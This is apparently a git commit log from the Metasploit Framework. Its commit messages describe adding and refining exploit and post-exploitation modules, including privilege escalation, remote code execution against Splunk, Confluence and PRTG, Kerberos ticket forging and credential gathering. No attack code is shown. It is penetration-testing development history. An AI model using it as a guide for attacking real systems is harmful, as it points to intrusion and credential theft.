dwelch-r7 5e59389d2b Land #18661, Update error message for meterpreter file contents test 2024-01-04 12:34:00 +00:00
adfoster-r7 00cfbc357a Update error message for meterpreter file contents test 2024-01-04 12:13:10 +00:00
Dean Welch 216cc6762f Put custom dns resolver behind feature flag 2024-01-04 11:18:47 +00:00
h00die-gr3y b2312c97d3 Second release of module and documentation 2024-01-04 09:26:16 +00:00
h00die-gr3y 9fdac8fd28 First release of module 2024-01-03 19:43:49 +00:00
adfoster-r7 4c1e1f614d Land #18657, Autoload Metasploit Payloads Gem 2024-01-03 17:50:56 +00:00
Dean Welch 52971ad2f6 Autoload Metasploit Payloads Gem 2024-01-03 16:24:12 +00:00
Dean Welch 7c448ceb50 Force reload_all to load any unloaded modules 2024-01-03 15:49:37 +00:00
adfoster-r7 afdb34d64a Use first module with enabled hierarchical search 2024-01-03 13:55:17 +00:00
Dean Welch 0d1ab00144 Fix recursive deadlock when reloading modules 2024-01-03 12:32:16 +00:00
Metasploit d5a59ceef1 automatic module_metadata_base.json update 2024-01-03 06:27:08 -06:00
adfoster-r7 a9f5c11d68 Land #18484, add ability to follow payload override in shell to meterpreter 2024-01-03 12:05:29 +00:00
Jeffrey Martin 2ab1b7a310 adjustments to NTLM LDAP support
* invert storage test for callback
* do not override service instance domain and hostname
* remove wrapping `Array` on `context_data` in response
* generate NTLM Type1 message instead of hardcoded blob
2024-01-02 13:08:48 -06:00
h00die-gr3y 08c5e6a689 Draft release of module. Not ready for review 2023-12-31 10:19:34 +00:00
Spencer McIntyre 97c3ccc8af Keep the service running when a session is opened 2023-12-29 14:03:27 -05:00
Spencer McIntyre d67d39ace6 Add error checking to #setup 2023-12-29 14:03:23 -05:00
Julien Voisin ed421c21ca Add a way to get the buildid via perf 2023-12-29 17:24:27 +01:00
Kevin Joensen 3b8f684d08 Fixed check module function 2023-12-29 16:18:50 +01:00
Kevin Joensen 2f023f7315 Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-12-29 14:50:47 +01:00
Metasploit 2390058b37 automatic module_metadata_base.json update 2023-12-28 12:43:00 -06:00
Jack Heysel 11d58ef2e8 Land #18631, Improve vScalation Priv Esc Check
This PR adds an improvement to the check method of the
vcenter_java_wrapper_vmon_priv_esc module. Before the module
would attempt to run stat on a file before checking if the file
existed on the system. This fixes that issue.
2023-12-28 13:16:11 -05:00
Metasploit c162cf3aec Bump version of framework to 6.3.50 2023-12-28 12:08:37 -06:00
Metasploit f8d541daad automatic module_metadata_base.json update 2023-12-28 11:58:41 -06:00
Jack Heysel 63eb5f2a35 Land #18632, Add improvements to glibc tunables
This PR adds improvements to the glibc tunables module. In the
event the file command is not present on the target the module
will try to use the readelf command in order to get the ld.so
BuildID to determine whether or not the target is compatible with
exploit.
2023-12-28 12:41:52 -05:00
Metasploit e9df84555e automatic module_metadata_base.json update 2023-12-28 10:51:30 -06:00
Jack Heysel beef573fb8 Land #18635, Authenticated Splunk Info Disclosure
This PR adds a module for an authenticated Splunk information
disclosure. This module gathers information about the host
machine and the Splunk install including OS version, build,
CPU arch, Splunk licnese keys etc.
2023-12-28 11:20:52 -05:00
Jack Heysel d6488dc0c3 Land #18610, Enables Payloads File Warning
This PR enables the Metasploit Payload Warnings feature
by default. When enabled Metasploit will output warnings
about missing Metasploit payloads, for instance if they
were removed by antivirus etc.
2023-12-27 14:20:04 -05:00
jheysel-r7 8b970af7f6 Update modules/auxiliary/gather/splunk_raw_server_info.rb 2023-12-27 12:40:18 -05:00
jheysel-r7 f950711da1 Apply suggestions from code review
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-12-27 12:37:17 -05:00
Gaurav Jain d0beea91bd Add exploit for CVE-2022-42889 2023-12-25 00:43:50 +05:30
h00die 47a58bda3b saltstack library rubocop and comments 2023-12-24 11:54:22 -05:00
h00die 357bdc8c10 ansible post library 2023-12-24 11:49:27 -05:00
h00die b654275ec4 add saltstack lib 2023-12-23 13:52:52 -05:00
h00die 11c12fcb6d review comments 2023-12-23 13:23:34 -05:00
h00die e72242949e review comments 2023-12-23 12:22:57 -05:00
h00die a5698f6aa6 review comments 2023-12-23 12:18:06 -05:00
Metasploit 94a4a6173f automatic module_metadata_base.json update 2023-12-22 04:26:48 -06:00
Christophe De La Fuente 3182cb4000 Land #18612, Craft CMS unauthenticed RCE [CVE-2023-41892] 2023-12-22 10:59:39 +01:00
Balgogan 0a2dea523f Add suggested changes 2023-12-22 00:04:54 +01:00
bwatters ce43db0904 Fix TBDs and give better documentation. 2023-12-21 16:18:36 -06:00
n00bhaxor 54df3d25e0 Merge pull request #1 from h00die/splunk
splunk 6.6.0+
2023-12-21 13:12:19 -05:00
Metasploit d461187d58 Bump version of framework to 6.3.49 2023-12-21 12:07:52 -06:00
h00die-gr3y 4c404765a4 Final update to the module based on cdelafuente-r7 comments 2023-12-21 12:06:21 +00:00
h00die 91c58ba268 asan local better check 2023-12-20 21:00:17 -05:00
h00die 526da210ad asan local better check 2023-12-20 20:58:00 -05:00
h00die 0394f5f7ad splunk 6.6.0+ 2023-12-20 20:47:04 -05:00
bwatters 78bac2636b Add documentation 2023-12-20 18:44:05 -06:00
bwatters 7fafab9680 Bring in zerosteiner's PACKME_VERSION edit 2023-12-20 16:46:44 -06:00
bwatters 6f17088e33 Fix some linting 2023-12-20 16:44:49 -06:00
Jack Heysel eeb74cd5e1 Updated metadata 2023-12-20 16:49:45 -05:00
Spencer McIntyre 6fc0704930 Land #18477, Add docs for nessus_rest_login 2023-12-20 16:49:09 -05:00
Jack Heysel e3062d45e0 Module working docs updated 2023-12-20 16:41:52 -05:00
Spencer McIntyre 300c53d005 Fix typos and tweak the section order 2023-12-20 16:31:52 -05:00
jvoisin fc66cd1522 Improve a bit glibc_tunables_priv_esc
- Fix some typos
- Add a check via `readelf` should `file` not be available
- Add a message before launching the exploit, since it might take some time to finish.
2023-12-20 20:59:47 +01:00
Metasploit aebda4f78c automatic module_metadata_base.json update 2023-12-20 13:21:40 -06:00
n00bhaxor a31de9eb05 Adding Splunk Info Disclosure module. 2023-12-20 14:07:50 -05:00
Christophe De La Fuente fb26c93291 Land #18541, Glibc Tunables Privilege Escalation CVE-2023-4911 (Looney Tunables) 2023-12-20 20:04:21 +01:00
Metasploit e0f20454ea automatic module_metadata_base.json update 2023-12-20 12:17:22 -06:00
Jack Heysel 77fb5d02b2 Fixed up indentation and rubocop complaints 2023-12-20 13:16:32 -05:00
jheysel-r7 342492557d Apply suggestions from code review 2023-12-20 13:09:13 -05:00
jheysel-r7 6a16602a08 Apply suggestions from code review
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-12-20 13:08:33 -05:00
Christophe De La Fuente 7ca256560d Land #18542, Vinchin Backup & Recovery Command Injection 2023-12-20 18:56:50 +01:00
Balgogan 9c9af0dca1 Fix statement 2023-12-20 01:51:19 +01:00
h00die 1e374403ec better check for vmon 2023-12-19 19:01:45 -05:00
Balgogan 22a05c8bf5 Add CVE-2023-50917 2023-12-20 00:43:00 +01:00
Spencer McIntyre 3ac9c0c38a Patch in the theme version to the MSStyles file 2023-12-19 17:05:01 -05:00
Jack Heysel d65ceb9abc Rubocop 2023-12-19 13:54:23 -05:00
Jack Heysel b86df4820c Responded to comments from jvoisin 2023-12-19 13:50:09 -05:00
jheysel-r7 96241f509a Apply suggestions from code review
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-12-19 13:18:45 -05:00
Jack Heysel 065abf6b92 Rubocop, doc scenario update 2023-12-19 12:30:02 -05:00
Jack Heysel 44b4b3b5bc Update version parsing 2023-12-19 12:16:17 -05:00
Jack Heysel 4e61596e7a Check Build ID before running exploit 2023-12-19 12:15:35 -05:00
Jack Heysel e858628292 Execute python payload in memory 2023-12-19 00:46:11 -05:00
Jack Heysel 549ee43df9 Update docs description minor comments 2023-12-19 00:32:21 -05:00
Jack Heysel 2ed3b771ed Updated python exploit 2023-12-19 00:26:54 -05:00
Jack Heysel c6a6809700 Updated attribution 2023-12-18 19:41:49 -05:00
Jack Heysel c895364675 Initial commit, files created 2023-12-18 19:26:14 -05:00
Spencer McIntyre a4d602669b Land #18623, Add File.expand_path to generate -o
Add File.expand_path to fix no such file error
2023-12-18 14:26:00 -05:00
Metasploit be84dbaed8 automatic module_metadata_base.json update 2023-12-18 12:13:16 -06:00
Christophe De La Fuente 45d2c7f4e0 Land #18566, CVE-2023-22518: Confluence Auth Bypass Restore From Backup RCE 2023-12-18 18:51:36 +01:00
h00die-gr3y 5d7cf90521 Some minor changes to the module and documentation 2023-12-18 08:23:16 +00:00
h00die 5e30328268 move options 2023-12-17 15:24:56 -05:00
h00die 6b376b9156 move options 2023-12-17 15:24:16 -05:00
Gaurav Jain e9ff2e55dc Remove useless include of Report mixin in psnuffle.rb 2023-12-17 22:53:19 +05:30
h00die-gr3y 9ac3739605 Minor changes to the documentation 2023-12-17 13:51:30 +00:00
h00die-gr3y 0641839e69 Added documentation and removed debug info 2023-12-17 13:10:18 +00:00
Gaurav Jain a58f7f0558 Minor fixes to modules to use report_cred 2023-12-16 23:40:30 +05:30
h00die-gr3y db099f8f4c Third release of module 2023-12-16 16:06:05 +00:00
h00die 02302439a0 saltstack salt minion deployer 2023-12-16 10:13:46 -05:00
h00die c911ec1413 ansible collection 2023-12-16 07:16:26 -05:00
Metasploit c2fe6d6696 automatic module_metadata_base.json update 2023-12-15 13:46:20 -06:00
adfoster-r7 c1186be67d Land #18622, Update PetitPotam For New Windows Servers 2023-12-15 19:22:09 +00:00
Spencer McIntyre 8d344a921d Cleanup the tree and pipe 2023-12-15 13:40:55 -05:00
Spencer McIntyre abc108d81a Bump RubySMB to 3.3.1 2023-12-15 12:34:22 -05:00
Spencer McIntyre 0023e19e57 Update petitpotam to use the refactored module 2023-12-15 11:50:33 -05:00
Jack Heysel 5d5ccd25e1 Removed unnecssary files 2023-12-15 10:46:23 -05:00
Spencer McIntyre 6bc3e1eb9a Update DCERPC to authenticate for newer targets
Newer versions of Windows require the inner DCERPC connection to also be
authenticated. The prior version of the petitpotam module used Rex and
did not provide this authentication. Switching to RubySMB exposes this
functionality and allows the module to work on the latest versions of
Windows.
2023-12-15 10:02:35 -05:00
Kevin Joensen 7bacc642bf Merge branch 'prtg_authenticated_rce_cve_2023_32781' of github.com:ggisz/metasploit-framework into prtg_authenticated_rce_cve_2023_32781 2023-12-15 13:58:49 +01:00
Kevin Joensen 2f3e207277 Fixed documentation for exploit 2023-12-15 13:58:10 +01:00
Simon Janusz b019b2ff89 Land #18619, Fix crash when running the favorites command 2023-12-15 11:35:53 +00:00
adfoster-r7 742148511a Update favorites command to support hierarchical search output 2023-12-15 10:15:14 +00:00
Jack Heysel d9aa7f914e Added newline to PoC and removed empty file 2023-12-14 18:42:09 -05:00
Jack Heysel df111afb06 Glibc Tunables Exploit 2023-12-14 18:28:43 -05:00
Metasploit e3810a4db6 Bump version of framework to 6.3.48 2023-12-14 12:08:41 -06:00
Jack Heysel c1459df10f Check method improvement 2023-12-14 12:42:23 -05:00
jheysel-r7 a14b28e941 Update modules/exploits/multi/http/atlassian_confluence_unauth_backup.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-12-14 11:55:48 -05:00
jheysel-r7 ef178298b2 Update lib/msf/core/exploit/remote/http/atlassian/confluence/version.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-12-14 11:55:30 -05:00
Metasploit 1ee32a2d8e automatic module_metadata_base.json update 2023-12-14 07:36:17 -06:00
adfoster-r7 5852077d84 Land #18614, Fix net-ssh lib now requiring ssh key type 2023-12-14 13:12:10 +00:00
h00die-gr3y d00249f083 Second release with manual cleanup of php* files 2023-12-14 12:57:07 +00:00
sjanusz-r7 ff6db7f337 Enable Metasploit Payloads file warning messages by default 2023-12-14 12:55:43 +00:00
Spencer McIntyre 0f4644df9e Land #18609, Fix empty download_exec payload
Fix empty cmd/windows/powershell/download_exec payload

Closes #18607
2023-12-13 15:56:44 -05:00
sjanusz-r7 f5e81aee2a Add docs for ssh_identify_pubkey using Metasploitable2 as target 2023-12-13 17:00:46 +00:00
sjanusz-r7 7d37c017fe Register RHOST for ssh_identify_pubkeys 2023-12-13 17:00:19 +00:00
h00die 9c869a6768 fix spelling 2023-12-13 09:45:02 -05:00
Kevin Joensen 5de0e4e234 Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-12-13 14:30:00 +01:00
Kevin Joensen 52a23e3afb Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-12-13 14:29:49 +01:00
h00die 1749fa1e50 store module loot 2023-12-13 07:37:24 -05:00
h00die 8eefea76ce puppet post gather module 2023-12-13 07:12:17 -05:00
adfoster-r7 4e106c2a73 Fix aarch64 elf shared object bus error 2023-12-13 00:26:53 +00:00
bwatters 95eb4cc304 Pull in changes from Spencer's branch, but not the Gemfile changes. 2023-12-12 10:09:13 -06:00
bwatters 3534181067 rename file 2023-12-12 10:09:13 -06:00
bwatters d3b0c538a1 Probably need to figure out how to get the requested filename.... 2023-12-12 10:09:13 -06:00
bwatters 62d3cfa72d Still not working, but closer 2023-12-12 10:09:13 -06:00
bwatters ce55c1cd78 Fix silly file name disagreement 2023-12-12 10:09:13 -06:00
bwatters 486f42896f Non-Working Draft Module 2023-12-12 10:09:13 -06:00
sjanusz-r7 560f668906 Fix net-ssh lib now requiring ssh key type 2023-12-12 14:22:06 +00:00
Metasploit a4ffd038a3 automatic module_metadata_base.json update 2023-12-12 06:04:27 -06:00
Dean Welch 58f79c7b47 Fix typo 2023-12-12 11:59:07 +00:00
Dean Welch 7e88279299 Add smb session support to scanner modules 2023-12-12 11:59:07 +00:00
Dean Welch cf24bca946 Add smb session support to smb_relay module 2023-12-12 11:59:07 +00:00
Dean Welch c55d4ceda0 Add smb session support to windows_secrets_dump module 2023-12-12 11:59:07 +00:00
Dean Welch 387c90e91e Add smb session support to psexec_ntdsgrab module 2023-12-12 11:59:07 +00:00
Dean Welch 36cc8f6267 Add smb session support to upload_file module 2023-12-12 11:59:07 +00:00
Dean Welch b0d7695e10 Add smb session support to download_file module 2023-12-12 11:59:07 +00:00
Dean Welch 1f91d2eee9 Add smb session support to delete_file module 2023-12-12 11:59:07 +00:00
cgranleese-r7 5f396245f2 Land #18539, Add Smb session type 2023-12-12 11:45:19 +00:00
Dean Welch fb815f5faf Code review changes 2023-12-12 10:46:40 +00:00
adfoster-r7 5f004106ac Land #18601, update Dockerfile to support arm64 and amd64 2023-12-12 10:09:37 +00:00
Metasploit c27e8f0433 automatic module_metadata_base.json update 2023-12-11 19:19:22 -06:00
Jack Heysel 603e5b2bff Land #18569, Add a module to perform ASREP-roasts
This adds a module to gather credential material from accounts
with Requires Pre-Authentication disabled. The module supports two
mechanisms, Brute Forcing using a list of usernames or using a LDAP
query to request the relevant usernames, followed by requesting TGTs.
2023-12-11 19:58:06 -05:00
Jack Heysel 862194d63f Documentation and rubocop changes 2023-12-11 19:01:35 -05:00
Jack Heysel 61414fab27 Refactored module to use mixin 2023-12-11 18:24:37 -05:00
Jack Heysel 16dd06bbac Added payload plugin mixin 2023-12-11 18:24:13 -05:00
Jack Heysel 7b74b758ad Removed unnecessary files in zip backup 2023-12-11 18:23:22 -05:00
Metasploit dd4288e734 automatic module_metadata_base.json update 2023-12-11 16:40:20 -06:00
bwatters c15f639bd4 Land #18598, Update metasploit-payloads to 2.0.161
Merge branch 'land-18598' into upstream-master
2023-12-11 16:00:40 -06:00
bwatters daa6d5363f Land #18577, Added RCE Module for Splunk Enterprise (CVE-2023-46214)
Merge branch 'land-18577' into upstream-master
2023-12-11 15:52:05 -06:00
Corey 64108de524 Add expand_path 2023-12-11 16:43:01 -05:00
adfoster-r7 17bed1936e Land #18613, Bump ruby smb version 2023-12-11 18:59:35 +00:00
Simon Janusz d93e1fb446 Land #18606, Update to rpc_plugin to use HashWithIndifferentAccess 2023-12-11 17:32:15 +00:00
Dean Welch 68b7f29187 Bump ruby smb version 2023-12-11 17:25:26 +00:00
Zach Goldman 90d3d6fc0a testing for opt_enum changes 2023-12-11 09:08:54 -06:00
Balgogan 374d724567 Lint 2023-12-11 15:36:10 +01:00
Valentin Lobstein 78c57c1c5c Update modules/exploits/unix/http/splunk_xslt_authenticated_rce.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-12-11 15:22:33 +01:00
Valentin Lobstein cb0ee49f71 Update modules/exploits/unix/http/splunk_xslt_authenticated_rce.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-12-11 15:22:09 +01:00
h00die-gr3y ff44932113 first draft release of module 2023-12-10 21:09:40 +00:00
Aleksa Zatezalo bc16684046 Update nessus_rest_login.md 2023-12-09 22:57:22 -05:00
Aleksa Zatezalo 93cfdd88cb Rename nessus_http_login.md to nessus_rest_login.md 2023-12-09 22:57:03 -05:00
MikeAnast b336bcaf30 updated Dockerfile for arm architectures 2023-12-08 16:43:40 +02:00
manastas 87689ce5cb Merge branch 'rapid7:master' into build-arm-dockerfile 2023-12-08 09:38:59 -05:00
adfoster-r7 a28e9fb841 Fix empty cmd/windows/powershell/download_exec payload 2023-12-08 01:00:45 +00:00
Metasploit 453c8d8d69 automatic module_metadata_base.json update 2023-12-07 18:44:30 -06:00
Jack Heysel 3bad98afc6 Land #18488, add kerberos_tickets post module
Adds a module to manage kerberos tickets from a compromised
host. This PR also includes rail gun enhancements.
2023-12-07 19:12:48 -05:00
jheysel-r7 f5ae039ae2 Apply suggestions from code review 2023-12-07 18:34:13 -05:00
siddolo 48e2e09dfc msftidy fix 2023-12-07 19:23:33 +01:00
Metasploit 62b47afee1 Bump version of framework to 6.3.47 2023-12-07 12:07:47 -06:00
Lore 479190acf6 Update to HashWithIndifferentAccess 2023-12-07 09:23:13 -06:00
Kevin Joensen 83dccfafaf added retry_until_truthy and sensor deletion upon payload running 2023-12-07 15:16:42 +01:00
siddolo 05800296f3 RuboCop fixes and msftidy fixes 2023-12-07 13:45:19 +01:00
siddolo 4039ea523a RuboCop Fixes 2023-12-07 13:19:13 +01:00
siddolo 32e5dfb12d Windows gather credentials for Mikrotik Winbox 'Keep Password' feature 2023-12-07 13:14:37 +01:00
Metasploit e5326107e1 automatic module_metadata_base.json update 2023-12-06 17:02:10 -06:00
adfoster-r7 45880850f5 Land #18603, add cves to snmp modules 2023-12-06 22:47:06 +00:00
h00die 5b8e7594f2 add cves to snmp modules 2023-12-06 16:52:10 -05:00
Metasploit 41232f438e automatic module_metadata_base.json update 2023-12-06 10:32:41 -06:00
cgranleese-r7 f794268020 Land #18578, Docker cgroup escape (CVE-2022-0492) 2023-12-06 16:07:08 +00:00
Dean Welch 0cd90259fc Fix issue where session was required for modules that support smb sessions 2023-12-06 13:41:44 +00:00
MikeAnast 7756dc9d8e Dockerfile for arm64 and amd64 using multi-stage build 2023-12-06 14:56:51 +02:00
Jack Heysel 9f126a4d24 Land #18446, Make DomainControllerRhost optional
This PR makes the DomainControllerRhosts option optional,
even when auth is set to kerberos. This change requires
rapid7/rex-socket#64 which was released in the rex-socket 1.5.5 gem.
2023-12-05 17:47:45 -05:00
Jack Heysel 70a31560c4 Update Gemfile.local after rex-socket build 2023-12-05 16:51:08 -05:00
Spencer McIntyre f000c39b4a Update to mark DomainControllerRhost as optional 2023-12-05 16:23:35 -05:00
h00die eca611aaac review 2023-12-05 16:18:39 -05:00
bwatters cbe99c488e Update metasploit-payloads to 2.0.161 2023-12-05 11:09:01 -06:00
Metasploit 81ff2606ad automatic module_metadata_base.json update 2023-12-05 10:10:08 -06:00
Jack Heysel 509ec2c9b5 Land #18591, add ownCloud auxiliary module
This module can extract sensitive environment variables from
the ownCloud target including ownCloud, DB, Redis, SMTP and
S3 credentials.
2023-12-05 10:50:57 -05:00
jheysel-r7 76657c8f14 `Update documentation/modules/auxiliary/gather/owncloud_phpinfo_reader.md 2023-12-05 10:20:51 -05:00
Dean Welch 82b9fda14e Get address/port from socket rather than the smb client 2023-12-05 14:14:03 +00:00
Metasploit a6e3b3bb64 automatic module_metadata_base.json update 2023-12-05 04:25:47 -06:00
Christophe De La Fuente 10d4b9233b Land #18463, D-Link Router UPnP unauthenticed LAN RCE via a crafted M-SEARCH packet 2023-12-05 10:58:15 +01:00
Christophe De La Fuente 7cd1b75497 Update deprecation date and message 2023-12-05 10:51:12 +01:00
Jack Heysel abfec99735 Added loop with key value pairs 2023-12-04 20:09:56 -05:00
Zach Goldman 56afed78ff fix optenum, add documentation, fix issue with unset values 2023-12-04 18:03:28 -06:00
Zach Goldman 095540cea6 Enhance ability to follow payload override in shell to meterpreter
Update modules/post/multi/manage/shell_to_meterpreter.rb

Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>

payload override
2023-12-04 12:01:28 -06:00
Dean Welch 232643f426 Validate session exists if provided 2023-12-04 17:55:15 +00:00
Dean Welch aee99ee52a Don't report unknown session arch/platform unless module has a specified arch/platform 2023-12-04 17:55:15 +00:00
Dean Welch 3c16ec2ad8 Fix session validation when smb sessions are disabled 2023-12-04 17:55:15 +00:00
Dean Welch 152056b001 DRY up post mixin/optional session 2023-12-04 17:55:15 +00:00
Dean Welch 25b34101f1 use session instead of client 2023-12-04 17:55:15 +00:00
Dean Welch 4026d99d0f Add smb session tests 2023-12-04 17:55:15 +00:00
Dean Welch cc8fdc0427 Add alias for run_simple to exploit_simple 2023-12-04 17:55:15 +00:00
Dean Welch cd8cc75cf3 Add smb session type 2023-12-04 17:55:11 +00:00
dwelch-r7 59f49fa880 Land #18595, Add additional feature flag developer notes 2023-12-04 17:27:15 +00:00
Metasploit 6b3ce045e7 automatic module_metadata_base.json update 2023-12-04 11:26:30 -06:00
adfoster-r7 2d24087bd7 Add additional feature flag developer notes 2023-12-04 17:18:43 +00:00
dwelch-r7 45c54797ac Land #18581, Add hierarchical search table support 2023-12-04 17:11:00 +00:00
Metasploit 4c13d350b3 automatic module_metadata_base.json update 2023-12-04 10:10:46 -06:00
Zach Goldman 3d6ddf769e Land #17667, Update password crackers 2023-12-04 10:45:53 -05:00
adfoster-r7 ce21e84ffe Land #18592, Minor documentation fix to SMB documentation page 2023-12-03 21:59:54 +00:00
h00die 0f7e00d30e owncloud exploit 2023-12-03 15:57:36 -05:00
h00die befc87f9f0 owncloud exploit 2023-12-03 15:45:44 -05:00
Jeremy Banker a76ae3a4f7 Update Metasploit-Guide-SMB.md
Minor typo fix in documentation. Incorrect search command was listed
2023-12-03 10:16:14 -07:00
h00die ea803063b1 owncloud phpinfo reader 2023-12-03 11:04:38 -05:00
Jack Heysel 49ef94728b Land #18570, Update docker ruby verison to 3.1
Update Metasploit's Docker ruby version from 3.0.x to 3.1.x
2023-12-01 17:44:30 -05:00
h00die f1fc6b7cdd review comments, adding new payloads 2023-12-01 16:06:48 -05:00
Balgogan ab9576f83d Add changes 2023-12-01 10:55:04 +01:00
Kevin Joensen 2718c078d2 removed WfsDelay 2023-12-01 10:15:55 +01:00
Kevin Joensen d26db0b1dd changed datastore['TARGETURI'] to target_uri.path 2023-12-01 10:15:13 +01:00
Kevin Joensen 26e7807154 updated URI to TARGETURI 2023-12-01 10:09:06 +01:00
Kevin Joensen 9105966b20 Fixed debug string 2023-12-01 10:07:28 +01:00
Ashley Donaldson b6dbc81f44 Fixed the pluralisation 2023-12-01 08:03:32 +11:00
Metasploit 456eecdc52 Bump version of framework to 6.3.46 2023-11-30 12:04:41 -06:00
Simon Janusz b900964d06 Land #18580, Allow external modules to specify default options 2023-11-30 17:36:20 +00:00
adfoster-r7 02c892c3fc Add hierarchical search table support 2023-11-30 16:32:29 +00:00
adfoster-r7 15bf3cb472 Land #18571, add clearer RHOST error messages 2023-11-30 14:09:12 +00:00
Ashley Donaldson 25f02ebc7c Better error message in TGT retrieval failure 2023-11-30 17:47:54 +11:00
Ashley Donaldson a0258e3ff6 Nicer pluralisation 2023-11-30 17:43:35 +11:00
Ashley Donaldson 11bcd43562 Apply suggestions from code review
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
Co-authored-by: adfoster-r7 <60357436+adfoster-r7@users.noreply.github.com>
2023-11-30 17:30:59 +11:00
Metasploit 1cb80c9b28 automatic module_metadata_base.json update 2023-11-29 14:45:34 -06:00
bwatters 56da86fe6b Land #18579, Use the new style of Windows version detection for CVE-2022-3699
Merge branch 'land-18579' into upstream-master
2023-11-29 14:28:35 -06:00
adfoster-r7 6f1fa8daff Allow external modules to specify default options 2023-11-28 22:29:36 +00:00
h00die 22242732d9 working cve-2022-0492 2023-11-28 15:25:53 -05:00
h00die b171b5e77c working cve-2022-0492 2023-11-28 15:16:18 -05:00
Spencer McIntyre 7307c9810b Use the new style of Windows version detection
This will become more important once the Windows Meterpreter returns a
more accurate string for the sysinfo OS field.
2023-11-28 14:35:26 -05:00
Metasploit 1b6efbbcd6 automatic module_metadata_base.json update 2023-11-28 12:49:11 -06:00
h00die 4ae62a431b not-working docker escape 2023-11-28 13:44:08 -05:00
Jack Heysel c5075ade2a Land #18567, Add exploit module for CVE-2023-5360.
This pull request adds a new exploit module for
an unauth file upload vulnerability in the
WordPress Royal Elementor Addons and Templates
plugin, versions before 1.3.79, tracked as CVE-2023-5360.
2023-11-28 13:28:53 -05:00
Jack Heysel e6321e46c4 Land #18565, Add kerberos cache TGT lookup logic
This PR adds an enhancement to adjust the cache lookup logic.
If no TGT for the specific host is found, it will try again but
with any host.
2023-11-28 12:00:48 -05:00
Balgogan 47e7453930 Enhance Splunk RCE module description for clarity and detail 2023-11-28 17:59:16 +01:00
Balgogan 4967d3e95d Remove spaces 2023-11-28 17:48:07 +01:00
Balgogan f2f34f64c8 Add suggested changes 2023-11-28 17:45:13 +01:00
Metasploit 4676e6d5d4 automatic module_metadata_base.json update 2023-11-28 10:39:12 -06:00
Spencer McIntyre 708c795890 Land #18560, Forging diamond and sapphire tickets 2023-11-28 11:14:15 -05:00
Balgogan b2fa201a7d Implement check 2023-11-28 16:45:44 +01:00
Balgogan a1f31d909a Add splunk_xslt_authenticated_rce 2023-11-28 15:51:39 +01:00
Balgogan 0146527e55 Add splunk_xslt_authenticated_rce 2023-11-28 15:40:05 +01:00
h00die 147aa3df33 fixes 2023-11-28 08:04:49 -05:00
Balgogan 402434bbf2 Add module output 2023-11-28 08:41:35 +01:00
Valentin Lobstein fc35a116bb Update modules/exploits/multi/http/wp_royal_elementor_addons_rce.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-11-28 08:15:27 +01:00
Valentin Lobstein bfd22f8f01 Update documentation/modules/exploit/multi/http/wp_royal_elementor_addons_rce.md
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-11-28 08:15:14 +01:00
Valentin Lobstein 1438a88eb5 Update modules/exploits/linux/http/vinchin_backup_recovery_cmd_inject.rb
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-11-28 08:10:56 +01:00
Ashley Donaldson 10e0206b6e Diamond tickets require AES256 2023-11-28 09:38:06 +11:00
h00die-gr3y 67933c3819 Deprecated module exploit/linux/upnp/dlink_dir859_exec_ssdpcgi 2023-11-27 19:35:34 +00:00
Kevin Joensen 7dbd938e3b fixed linting with rubocop and msftidy.rb 2023-11-27 18:44:10 +01:00
dwelch-r7 c31b0f0dd1 Land #18575, Remove spurious print 2023-11-27 11:59:46 +00:00
Kevin Joensen 3ffeef36f6 Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-11-27 11:48:50 +01:00
Kevin Joensen ebc18db0ac Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-11-27 11:48:12 +01:00
Kevin Joensen 4906ea228d updated fields to have random values 2023-11-27 09:39:18 +01:00
Ashley Donaldson 7ab487612c Default to NTLM auth, since plaintext will almost certainly never work 2023-11-27 17:52:12 +11:00
Ashley Donaldson 2ea1f43f12 Unit test for new kerberos client pre-auth behaviour 2023-11-27 17:10:19 +11:00
Ashley Donaldson c293c273ba Attempt to decrypt pre-auth kerberos response 2023-11-27 13:09:59 +11:00
Ashley Donaldson 3ca13d9358 Changes from code review.
Added in the stability/IOC notes, since diamond/sapphire do make requests.
2023-11-27 10:30:54 +11:00
Ashley Donaldson 2eec5e0914 Remove spurious print; resolves #18562 2023-11-27 07:37:02 +11:00
Kevin Joensen 27b2cdf5b1 Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Remove obsolete slash in normalize_uri parameters

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-11-25 13:09:15 +01:00
Kevin Joensen 32380d8a26 Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Remove obsolete slash in normalize_uri parameters

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-11-25 13:09:03 +01:00
Kevin Joensen a04943063e Update modules/exploits/windows/http/prtg_authenticated_rce_cve_2023_32781.rb
Removes quotes from normalize_uri parameters.

Co-authored-by: Julien Voisin <jvoisin@users.noreply.github.com>
2023-11-25 13:07:08 +01:00
Ashley Donaldson ff70cc7e42 Clearer RHOST error message 2023-11-24 11:34:18 +11:00
adfoster-r7 e3046d18c9 Update docker ruby version to 3.1 2023-11-23 23:16:25 +00:00
Ashley Donaldson 622277e960 Added documentation for ASREP module 2023-11-24 08:45:26 +11:00
